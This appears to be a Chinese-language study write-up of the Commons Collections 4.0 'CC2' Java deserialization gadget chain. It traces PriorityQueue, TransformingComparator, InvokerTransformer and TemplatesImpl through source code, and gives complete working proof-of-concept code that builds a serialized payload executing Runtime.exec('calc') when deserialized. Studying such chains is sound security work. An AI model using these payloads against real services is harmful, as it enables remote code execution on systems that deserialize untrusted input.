cc链2

前面分析了CC1的利用链,但是在CC1的利用链中是有版本的限制的。在JDK1.8 8u71版本以后,对AnnotationInvocationHandlerreadobject进行了改写。导致高版本中利用链无法使用。

这就有了其他的利用链,在CC2链里面并不是使用 AnnotationInvocationHandler来构造,而是使用 javassistPriorityQueue来构造利用链。

CC2链中使用的是commons-collections-4.0版本,但是CC1在commons-collections-4.0版本中其实能使用,但是commons-collections-4.0版本删除了lazyMapdecode方法,这时候我们可以使用lazyMap方法来代替。但是这里产生了一个疑问,为什么CC2链中使用commons-collections-4.0 3.2.1-3.1版本不能去使用,使用的是commons-collections-4.04.0的版本?在中间查阅了一些资料,发现在3.1-3.2.1版本中TransformingComparator并没有去实现Serializable接口,也就是说这是不可以被序列化的。所以在利用链上就不能使用他去构造。

前置知识

PriorityQueue

PriorityQueue 优先级队列是基于优先级堆(a priority heap)的一种特殊队列,他给每个元素定义“优先级”,这样取出数据的时候会按照优先级来取。默认情况下,优先级队列会根据自然顺序对元素进行排序。

因此,放入PriorityQueue的元素,需要实现 Comparable 接口,PriorityQueue 会根据元素的排序顺序决定出队的优先级。如果没有实现 Comparable 接口,PriorityQueue 还允许我们提供一个 Comparator 对象来判断两个元素的顺序。
PriorityQueue 支持反序列化,在重写的 readObject 方法中,将数据反序列化到 queue 中之后,会调用 heapify() 方法来对数据进行排序。heapify() 方法调用 siftDown() 方法,在 comparator 属性不为空的情况下,调用 siftDownUsingComparator() 方法

siftDownUsingComparator() 方法中,会调用 comparator 的 compare() 方法来进行优先级的比较和排序。这样,反序列化之后的优先级队列,也拥有了顺序。

后面会提

TransformingComparator

TransformingComparator 是触发这个漏洞的一个关键点,他将 Transformer 执行点和 PriorityQueue 触发点连接了起来。

TransformingComparator 看类名就类似 TransformedMap,实际作用也类似,用 Tranformer 来装饰一个 Comparator。也就是说,待比较的值将先使用 Tranformer 转换,再传递给 Comparator 比较。

TransformingComparator 初始化时配置 Transformer 和 Comparator,如果不指定 Comparator,则使用 ComparableComparator.<Comparable>comparableComparator()

img

在调用 TransformingComparator 的 compare 方法时,可以看到调用了 this.transformer.transform() 方法对要比较的两个值进行转换,然后再调用 compare 方法比较。

img

动态加载字节码

看之前写的

javassit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import javassist.*;

public class javassit_test {
public static void createPseson() throws Exception {
ClassPool pool = ClassPool.getDefault();

// 1. 创建一个空类
CtClass cc = pool.makeClass("Person");

// 2. 新增一个字段 private String name;
// 字段名为name
CtField param = new CtField(pool.get("java.lang.String"), "name", cc);
// 访问级别是 private
param.setModifiers(Modifier.PRIVATE);
// 初始值是 "xiaoming"
cc.addField(param, CtField.Initializer.constant("xiaoming"));

// 3. 生成 getter、setter 方法
cc.addMethod(CtNewMethod.setter("setName", param));
cc.addMethod(CtNewMethod.getter("getName", param));

// 4. 添加无参的构造函数
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
cons.setBody("{name = \"xiaohong\";}");
cc.addConstructor(cons);

// 5. 添加有参的构造函数
cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);
// $0=this / $1,$2,$3... 代表方法参数
cons.setBody("{$0.name = $1;}");
cc.addConstructor(cons);

// 6. 创建一个名为printName方法,无参数,无返回值,输出name值
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
ctMethod.setModifiers(Modifier.PUBLIC);
ctMethod.setBody("{System.out.println(name);}");
cc.addMethod(ctMethod);
// 在方法体前插入代码块
ctMethod.insertBefore("");
// 在方法体后插入代码块
ctMethod.insertAfter("");
// 在某行 字节码 后插入代码块
ctMethod.insertAt(10, "");



//这里会将这个创建的类对象编译为.class文件
cc.writeFile("./");
}

public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}

创造了个类

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses():
newInstance()
Runtime.exec()

利用链分析

后半段链和cc1差不多,所以这里可以正向分析,从readObject来学习整条链。

PriorityQueue#readObject:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//   transient Object[] queue; 虽然是 transient但是因为写入的数据后有赋值语句
// 所以还是改了的queue[i] = s.readObject();也没有它的构造方法

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

这里的queue[i]的值是由readObject得到的,也就是说在writeObject处写入了对应的内容:

1
2
3
4
5
6
7
8
9
10
11
12
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException{
// Write out element count, and any hidden stuff
s.defaultWriteObject();

// Write out array length, for compatibility with 1.5 version
s.writeInt(Math.max(2, size + 1));

// Write out all elements in the "proper order".
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}

也就是说我们可以通过反射来设置queue[i]的值来达到控制queue[i]内容的目的。

在readObject处调用了heapify:

这里的queue[i]是我们可控的。

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

跟进siftdown

1
2
3
4
5
6
7
//private final Comparator<? super E> comparator;
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);//一个普通的比较器
}

这里的x是我们可控的,跟入第一个siftDownUsingComparator:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

重点:

1
2
comparator.compare(x, (E) c)
//为什么不能是 comparator.compare((E) c, (E) queue[right])应为第一次传入值的时候half是1,k是,child是1,right是2,size也是2,所以先进下面那个

这里的x是我们可控的,cc2中使用了TransformingComparator#compare来触发后续链,看一下这个方法:

-w562

可以发现,这里对this.transformer调用了transform方法,如果这个this.transformer可控的话,就可以触发cc1中的后半段链。

-w906

从上图可以看出,this.transformer并没有被transient修饰,而且还可以用public构造方法构造,所以是我们可控的。

构造POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class cc2 {

public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});

TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(1);

queue.add(1);
queue.add(2);

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,comparator);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}
}

这个poc延用了cc1的后半段链,直接在最后触发了ChainedTransformer#transform方法导致rce。但是cc2在yso中的poc并不是这个,而是用到了一个新的点TemplatesImpl。等会分析

  • 一些细节的问题

1.为什么这里要put两个值进去?

-w719

这里往queue中put两个值,是为了让其size>1,只有size>1才能使的i>0,才能进入siftDown这个方法中,完成后面的链。

2.这里为什么要在add之后才通过反射修改comparator的值?

1
2
3
public boolean add(E e) {
return offer(e);
}

add调用了offer方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}

offer方法中调用了siftUp方法:

-w465

这里需要保证comparator的值为null,才能够正常的添加元素进queue,如果我们在add之前使comparator为我们构造好的TransformingComparator,就会报这么一个错误:

-w1159

1
2
3
4
5
6
7
8
因为在写入的时候就会跳计算器了但是因为
O value1 = this.transformer.transform(obj1); 就会调用cc1方法弹计算器了
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);这里进去
public int compare(E obj1, E obj2) {
return obj1.compareTo(obj2);
}因为我们执行了方法里面没有compareTo了
没有就会普通的比较1,2的大小

我们回过头来看看javassit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

public class javassit_test {
public static void createPseson() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Cat");
String cmd = "System.out.println(\"evil code\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
cons.setBody("{}");
cc.addConstructor(cons);
// 写入.class 文件
cc.writeFile();
}

public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}

上面这段代码中生成的class是这样的:

-w442

这里的static语句块会在创建类实例的时候执行。

然后要TemplatesImpl这个类,实列化就行了

Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.ClassLoader;
import java.lang.reflect.Field;

public class javassit_test {
public static void createPseson() throws Exception {

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "baicnay");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

templates.newTransformer();

}

public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

}

-w1239

此时已经可以成功执行命令了,接下来就是需要找到一个点调用了newTransformer这个方法。

前面说了,我们已经可以执行到transform方法了,那么我们可以通过InvokerTransformer#transform的反射来调用TemplatesImpl#newtransformer,达到命令执行的目的。

完整POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class cc2 {

public static void main(String[] args) throws Exception {
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

Object[] queue_array = new Object[]{templates,1};

Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);


Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

为什么之前那个条件有个不需要加了因为在readObject里面

1
_tfactory = new TransformerFactoryImpl();

为什么要修改queue数组的第一个值为TemplatesImpl?

是因为在调用compare方法的时候,传递了一个obj1进去:

-w514

通过cc1的学习我们知道,InvokerTransformer调用方法是基于你传递进来的类来进行调用的,所以这里的obj1需要设置为TemplatesImpl,而这个obj1是从这里来的,(所以最后调用了method.invoke(obj, this.iArgs);)

-w632

所以我们需要控制这个c,而这个c是从queue中取出来的,所以在这里我们需要设置queue中第一个值为TemplatesImpl,为什么不能设置为第二个呢?是因为调用compare时,会先对第一个进行调用,如果我们设置TemplatesImpl在第二个位置,则会报出1没有newTransformer方法的错误:

-w1201

为什么要通过反射的方式修改size?

这个在前面说过了,size必须要大于2,而我们这里并没有调用put方法,所以size默认是为0的,当然还有一种办法,就是先调用两次put,put正常的值进,再修改queue数组,这两种办法的实现原理是一样的。

这里我觉得非常巧妙

1
2
3
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

正好通过反射让 后面的2个参数全为null了

1
2
Class<?>[] paramTypes, Object[] args
所以在method.invoke(input, this.iArgs);这里的时候正好是impl.newTransformer()了

依赖版本 commons-collections : 4.0